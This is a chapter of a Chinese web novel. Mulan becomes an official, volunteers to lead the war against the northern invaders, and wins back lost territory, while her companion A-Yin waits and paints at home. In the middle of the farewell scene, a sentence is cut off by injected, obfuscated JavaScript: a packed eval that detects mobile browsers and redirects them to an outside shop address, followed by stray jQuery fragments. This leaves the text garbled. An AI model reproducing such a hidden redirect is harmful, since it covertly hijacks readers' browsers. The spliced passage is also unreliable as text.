元和十一年秋，她们回到京城。木兰因江南之行的出色表现升任户部郎中，成为朝中最年轻的五品官员。阿银的《江南行纪》画册在文人墨客间流传，甚至传入宫中，贵妃召她入宫，请她教授绘画。


    表面看来，一切都在向更好的方向发展。但朝堂之上，暗流涌动。


    反对女子为官的声音从未停止，只是从前藏在暗处，如今渐渐浮出水面。木兰的每一次建言、每一项举措，都有人盯着挑错；她提拔的每一位女吏，都备受质疑。更糟糕的是，边境战事吃紧，北狄连年犯境，朝廷已三次增兵。


    在户部的日子里，木兰真正触摸到了这个王朝衰朽的脉象。


    “苦的是百姓。”一日深夜，木兰从户部归来，脸色疲惫，“军费开支太大，南方水灾又急需赈济。今日廷议，有人主张加税，有人主张削减官员俸禄，吵了一整天。”


    阿银为她热了汤：“陛下怎么说？”


    “陛下……”木兰揉了揉眉心，“陛下老了。”


    这是大不敬的话，但在阿银面前，木兰从不掩饰。老皇帝今年六十有二，登基三十载，早年也算勤政，如今却越发崇信道教，追求长生，朝政多由宰相把持。而宰相王浚，正是最反对女子参政的大臣之一。


    “王相今日又提了‘女祸论’。”木兰冷笑，“说女子干政，阴阳颠倒，故而上天降灾，战事不利。”


    “荒谬。”阿银蹙眉。


    “荒谬，但有人信。”木兰接过汤碗，却不喝，只是捧着暖手，“阿银，我有种不好的预感。战事若再恶化，朝中必要寻找替罪羊。而我们这些不安分的女子，便是现成的靶子。”


    阿银的心沉了沉。她想说些安慰的话，却发现自己词穷。窗外春寒料峭，明明已是三月，夜风却冷得像刀刃。


    预感很快成真。北狄大军突破防线，连下三城，边关告急。朝堂哗然，主战主和两派争论不休。与此同时，京城开始流传各种谣言：女子为官触怒天地，故有战祸；女状元命格太硬，克国运；甚至有人翻出木兰的生辰八字，说她命中带煞，不宜参政。


    压力如乌云压城。木兰日渐消瘦，但上朝议事时，脊背依旧挺得笔直。阿银则减少了入宫教画的次数，多数时间待在家中，整理这些年的画作。她开始绘制一幅新的长卷，名为《山河社稷图》，画大晟万里疆土，从北国雪原到江南水乡，从西部戈壁到东海波涛。


    绘制这幅画时，她常常想起与木兰的江南之行，想起那些她们见过的山河与人。有时画着画着，眼泪就滴在纸上，晕开一片墨色。


    六月，最坏的消息传来：北狄大军兵分两路，一路继续南下，一路向东，直扑粮仓所在地。朝廷紧急征调全国男丁入伍，京城街头，日日可见母亲送儿、妻子送夫，哭声不绝。


    朝堂之上，主战主和两派吵作一团，却无人敢真正请缨——谁都知道，粮草不济，士卒久疲，此去凶多吉少。


    就在这危急存亡之秋，木兰做出了一个震惊朝野的决定。


    次日朝会，木兰出列，于百官注视下，清晰奏请：


    “臣虽为女子，然熟读兵书，通晓韬略。”朝堂之上，木兰的声音清晰坚定，“今国难当头，岂可分男女？臣愿赴前线，运筹帷幄，收复失地。”


    老皇帝沉吟良久。宰相王浚则极力反对：“女子统兵，自古未有，恐动摇军心。”


    “自古未有，便从臣始。”木兰不卑不亢，“若败，臣愿以死谢罪；若胜，则为大晟开一先例。”


    最终，或许是战事吃紧无人可用，或许是木兰的坚定打动了皇帝，又或许是朝堂之上正需不动声色地拔除这颗眼中钉。圣旨下达：授木兰监军之职，即刻赴北线督战。


    ---


    出征那日，天还未亮。木兰换上戎装——一身赤红铠甲，甲片在晨光中泛着冷冽的光，肩头披着猩红战袍。这身红衣与当年状元游街时那身朱红袍子相似，却多了肃杀之气。她站在院中，阿银为她系紧护腕，手指微微颤抖。


    “我会写信。”木兰握住她的手，“每夺回一座城，便写一封。”


    “你要活着回来。”阿银的声音很轻，“无论胜败，活着回来。”


    木兰看着她，眼中闪过一丝温柔：“我答应你。”


    门外，战马嘶鸣。木兰翻身上马，那马也是枣红色的，与她一身赤甲相映。她勒紧缰绳，最后看了一眼这座府邸，看了一眼阿银，然后策马扬鞭。


    马蹄声在青石板上响起，由近及远。阿银站在门前，看着那抹红色渐渐远去，忽然提起裙摆，追了上去。


    “木兰！”


    马儿已到街角，闻声停下。木兰回头，晨光中，她的脸在红甲映衬下愈发清俊。阿银跑到马前，气息不匀，她从发间拔下那支白玉簪——木兰送她的生辰礼。


    “给你。”


    木兰接过簪子，不解。


    阿银解开自己的发髻后。三千青丝如瀑布般滑落，在晨风中轻轻飘动。


    “要平安。”她说，声音


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081250|195323||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    很轻，却字字清晰，“带着我的份，一起平安回来。”


    木兰握着那支白玉簪，指节发白。她看着阿银散发的模样，将簪子小心收入怀中，贴在心口位置。


    “等我。”她说，然后调转马头，再不回头。


    阿银站在长街中央，看着那抹红色消失在拐角处。风吹起她的长发和衣袂，猎猎作响。天空开始飘雨，细细的雨丝，像天地也在哭泣。


    ---


    木兰北上后的第三个月，第一封捷报传入京城。


    “木兰将军出奇兵，夜袭敌营，斩首三千，收复云州！”


    满朝震动。云州是战略要地，失守已半年有余，谁都没想到会被如此迅速地夺回。皇帝大喜，赏赐金银布帛，并晋升木兰为镇北将军。


    此后半年，捷报频传。


    “木兰将军设伏黑水谷，大破敌军主力，歼敌万余！”


    “将军率轻骑千里奔袭，夺回潼关！”


    “北狄可汗之弟被生擒，敌军士气大溃！”


    京城沸腾了。茶楼酒肆，人人都在谈论这位女将军的神勇。说她是“天神下凡”，用兵如神；说她“身先士卒”，箭无虚发；更有人说，曾见战场上木兰将军赤甲白马，所向披靡，敌军望风而逃。那一身红衣，成了战场上最耀眼的旗帜，士兵们说，只要看见那抹红色，便知胜利在望。


    阿银每听到一个消息，便在家中的地图上标记一处。云州、黑水谷、潼关……木兰的足迹向北延伸，收复的失地越来越多。她开始绘制新的画作——不再是江南烟雨，而是北国沙场。她画月光下的军帐，画雪地里的马蹄印，画寒风中猎猎作响的红色战旗。


    木兰的信定期送到，有时半月一封，有时一月一封。信很短，总是报喜不报忧：


    “安好，勿念。今日夺回一城，城中百姓箪食壶浆，甚慰。”


    “北地雪大，但将士用命，连战连捷。”


    “见一老妪，年七十，三子皆战死，仍为我军缝补战袍。思及你，夜不能寐。”


    阿银将这些信小心收好，与那支金笔放在一处。她开始相信，木兰真的能改变这个时代——不仅能考状元，能当官，还能统兵打仗，能收复河山。


    元和十三年，木兰已收复大半失地，兵锋直指北狄王庭。朝中封赏的诏书一道接一道：骠骑将军、镇国公、太子少保……荣誉如雪片般飞来，木兰成了大晟的战神，百姓的救星。那一身红衣，从状元袍到将军甲，成了这个时代最鲜亮的颜色。